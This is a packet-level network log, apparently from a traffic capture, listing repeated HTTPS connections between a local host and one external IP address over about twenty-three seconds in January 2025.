Jan 14, 2025 08:24:05.772279978 CET	443	49870	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.772336006 CET	49870	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.774940968 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.774992943 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.775080919 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.775432110 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.775449038 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:06.689750910 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:06.690049887 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:06.691354036 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:06.691375017 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:06.691670895 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:06.692964077 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:06.735337973 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.281454086 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.281739950 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.281829119 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.281918049 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.281970978 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.282001019 CET	49871	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.282017946 CET	443	49871	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.395510912 CET	49882	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.395574093 CET	443	49882	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.395667076 CET	49882	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.395792961 CET	49882	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.395884991 CET	443	49882	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.395936966 CET	49882	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.430609941 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.430718899 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:07.430865049 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.432718992 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:07.432758093 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.359973907 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.360096931 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.361970901 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.362004042 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.362261057 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.363727093 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.407336950 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.951812983 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.952044010 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.956392050 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.956443071 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.956468105 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:08.956484079 CET	49883	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:08.956490993 CET	443	49883	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:09.066890001 CET	49894	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.066936970 CET	443	49894	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:09.067034960 CET	49894	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.067142963 CET	49894	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.067383051 CET	443	49894	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:09.067440033 CET	443	49894	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:09.067509890 CET	49894	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.069824934 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.069895983 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:09.069972038 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.070300102 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:09.070316076 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.096750021 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.096831083 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.099284887 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.099301100 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.099575043 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.101433039 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.143337965 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.699079990 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.699420929 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.699475050 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.699629068 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.699639082 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.699647903 CET	49895	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.699651957 CET	443	49895	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.813827991 CET	49906	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.813916922 CET	443	49906	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.813992023 CET	49906	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.816854954 CET	49906	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.816936970 CET	443	49906	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.816992998 CET	49906	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.820055962 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.820106983 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:10.820178986 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.820679903 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:10.820694923 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:11.705264091 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:11.705347061 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:11.706727982 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:11.706738949 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:11.706990957 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:11.708317995 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:11.751343966 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.283648968 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.283833027 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.283977032 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.284183979 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.284202099 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.284214973 CET	49907	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.284219980 CET	443	49907	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.399447918 CET	49918	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.399517059 CET	443	49918	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.399620056 CET	49918	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.399770021 CET	49918	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.399830103 CET	443	49918	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.402156115 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.402195930 CET	49918	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.402204990 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:12.402261972 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.402704000 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:12.402721882 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.288486958 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.288549900 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.350260973 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.350281000 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.350603104 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.365530968 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.411331892 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.869035959 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.869376898 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.869453907 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.869569063 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.869585991 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.869599104 CET	49919	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.869604111 CET	443	49919	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.985956907 CET	49929	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.986011982 CET	443	49929	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.986119032 CET	49929	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.986218929 CET	49929	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.986282110 CET	443	49929	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.986392021 CET	49929	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.989000082 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.989046097 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:13.989106894 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.989445925 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:13.989463091 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:14.876842976 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:14.876986027 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:14.878375053 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:14.878381968 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:14.878650904 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:14.880151033 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:14.923329115 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.457603931 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.457897902 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.457969904 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.458036900 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.458056927 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.458066940 CET	49930	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.458072901 CET	443	49930	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.572316885 CET	49941	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.572369099 CET	443	49941	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.572453022 CET	49941	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.572566032 CET	49941	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.572611094 CET	443	49941	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.572663069 CET	49941	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.575366020 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.575407028 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:15.575539112 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.575834990 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:15.575851917 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:16.470688105 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:16.470932961 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:16.472672939 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:16.472682953 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:16.472939968 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:16.474701881 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:16.519328117 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.050462961 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.050801992 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.050998926 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.050998926 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.051034927 CET	49942	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.051059961 CET	443	49942	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.169753075 CET	49953	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.169795036 CET	443	49953	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.169857025 CET	49953	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.170005083 CET	49953	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.170051098 CET	443	49953	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.170108080 CET	49953	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.173027039 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.173063993 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:17.173125029 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.173604012 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:17.173620939 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.053792000 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.053864956 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.055196047 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.055202961 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.056052923 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.057290077 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.103332996 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.625436068 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.625580072 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.625652075 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.625821114 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.625844002 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.625855923 CET	49954	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.625861883 CET	443	49954	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.740346909 CET	49966	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.740403891 CET	443	49966	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.740572929 CET	49966	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.740611076 CET	49966	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.740706921 CET	443	49966	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.743241072 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.743269920 CET	49966	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.743282080 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:18.743366003 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.743952036 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:18.743964911 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:19.638413906 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:19.638586998 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:19.640230894 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:19.640249968 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:19.640481949 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:19.642126083 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:19.683331966 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.229438066 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.229818106 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.229875088 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.232737064 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.232743025 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.232769966 CET	49967	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.232774973 CET	443	49967	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.347266912 CET	49979	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.347304106 CET	443	49979	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.347390890 CET	49979	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.400861979 CET	49979	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.400973082 CET	443	49979	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.401038885 CET	49979	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.502650023 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.502746105 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:20.502839088 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.503189087 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:20.503226995 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.390345097 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.390414953 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.392329931 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.392362118 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.392608881 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.394191027 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.439330101 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.976129055 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.976699114 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.977139950 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.977190018 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.977212906 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:21.977225065 CET	49982	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:21.977231026 CET	443	49982	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.090806007 CET	49991	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.090847969 CET	443	49991	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.090930939 CET	49991	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.091022968 CET	49991	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.091057062 CET	443	49991	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.091953993 CET	49991	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.093962908 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.094007015 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.094194889 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.094485044 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:22.094500065 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.974945068 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:22.975306034 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.015073061 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.015085936 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.015374899 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.023771048 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.071369886 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.548552990 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.548674107 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.548795938 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.549225092 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.549247026 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.549264908 CET	49992	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.549273014 CET	443	49992	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.665543079 CET	50003	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.665591955 CET	443	50003	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.665728092 CET	50003	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.665843010 CET	50003	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.665893078 CET	443	50003	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.665945053 CET	50003	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.668255091 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.668334961 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:23.668430090 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.668807030 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:23.668839931 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:24.571985006 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:24.572058916 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:24.573745012 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:24.573751926 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:24.573993921 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:24.575206041 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:24.619334936 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.158632994 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.158902884 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.158977032 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.159147978 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.159167051 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.159182072 CET	50004	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.159188032 CET	443	50004	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.275006056 CET	50015	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.275036097 CET	443	50015	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.275108099 CET	50015	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.275307894 CET	50015	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.275356054 CET	443	50015	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.275445938 CET	50015	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.278192043 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.278243065 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:25.278614998 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.279035091 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:25.279046059 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.184397936 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.184510946 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.186008930 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.186013937 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.186239958 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.187480927 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.231333017 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.778896093 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.779441118 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.779525995 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.779727936 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.779736042 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.779767036 CET	50016	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.779771090 CET	443	50016	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.893309116 CET	50027	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.893356085 CET	443	50027	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.893735886 CET	50027	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.916165113 CET	50027	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.916476965 CET	443	50027	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.916529894 CET	50027	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.920181036 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.920237064 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:26.920345068 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.920799971 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:26.920809984 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:27.810190916 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:27.810359955 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:27.812264919 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:27.812274933 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:27.812536001 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:27.813847065 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:27.859370947 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.388340950 CET	443	50028	166.62.27.188	192.168.2.4
